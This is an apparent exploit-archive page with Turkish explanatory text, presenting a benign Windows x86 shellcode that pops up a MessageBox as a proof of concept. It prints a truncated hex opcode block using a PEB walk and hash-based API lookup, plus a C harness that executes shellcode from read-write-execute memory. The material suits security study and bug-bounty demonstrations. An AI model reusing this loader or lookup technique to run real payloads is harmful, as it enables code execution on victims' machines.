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shellcode
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ID: 246
Windows/x86 MessageBox Shellcode - 109 Bytes (Klasik PoC)
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 20 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_246.txt
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<p class="text-xs font-bold uppercase tracking-widest text-amber-700 mb-1">Klasik PoC Shellcode - Windows x86 - 109 Bytes</p>
<h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x86 MessageBox Shellcode - 109 Bytes</h2>
<p class="text-sm text-slate-600 mt-2">Buffer overflow zafiyeti ispati icin kullanilan zararsiz PoC shellcode. Gercek saldiri yerine yalnizca ekranda dialog kutusu gostererek sistemin somuruldugunu kanitlar.</p>
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<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Hex Opcode</h3>
<p class="text-sm text-slate-700 mb-3">Shellcode icindeki hash tabanli API lookup ile user32.dll MessageBoxA bulunur ve cagrilir.</p>
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\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c
\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b
\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03
\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20
\x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45
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<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">VirtualAlloc ile Test</h3>
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#include <windows.h>
char sc[] = "\x31\xd2..."; // yukaridaki hex
int main() {
LPVOID m = VirtualAlloc(NULL, sizeof(sc),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(m, sc, sizeof(sc));
((void(*)())m)();
}
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<div class="bg-emerald-50 border border-emerald-200 rounded-xl p-4"><p class="text-xs font-bold text-emerald-800 mb-1">BUG BOUNTY PoC Standardi</p><p class="text-xs text-emerald-700">Gercek exploit kanitlamada calc.exe veya MessageBox gostermek, zafiyetin guvenli kaniti olarak kabul edilir.</p></div>
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Entry Stats
Views
20
Downloads
2
Comments
0